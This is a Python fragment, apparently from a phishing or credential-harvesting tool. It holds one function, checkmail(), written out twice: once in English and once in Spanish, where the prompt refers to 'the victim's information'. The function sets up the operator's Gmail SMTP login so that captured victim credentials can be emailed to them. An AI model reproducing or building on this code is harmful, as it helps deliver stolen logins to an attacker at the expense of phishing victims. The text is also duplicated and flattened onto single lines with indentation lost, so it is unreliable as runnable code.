def checkmail(): from core.email import smtp_provider, connect_smtp from getpass import getpass from smtplib import SMTP if input( cyan('\n [!] Do you want to receive credentials by email? [y/N] > ' )).upper() == 'Y': login = input(cyan(' [+] Enter your email > ')) try: provider = login.split('@')[1].split('.')[0] except (IndexError, ValueError): print(red(' [!] This domain is not supported!')) return if provider.lower() == 'gmail': print( yellow( ' [!] Before access please enable less secure apps\n --> [https://myaccount.google.com/lesssecureapps]' )) passwd = getpass(cyan(' [+] Password > ')) domain, port = smtp_provider(provider) connect_smtp(domain, port, login, passwd)
def checkmail(): from core.email import smtp_provider, connect_smtp from getpass import getpass from smtplib import SMTP if input( cyan( '\n [!] Quieres tener la informacion de la victima desde tu gmail? [y/N] > ' )).upper() == 'Y': login = input(cyan(' [+] Pon tu gmail entonces. > ')) try: provider = login.split('@')[1].split('.')[0] except (IndexError, ValueError): print(red(' [!] This domain is not supported!')) return if provider.lower() == 'gmail': print( yellow( ' [!] Before access please enable less secure apps\n --> [https://myaccount.google.com/lesssecureapps]' )) passwd = getpass(cyan(' [+] ContraseƱa > ')) domain, port = smtp_provider(provider) connect_smtp(domain, port, login, passwd)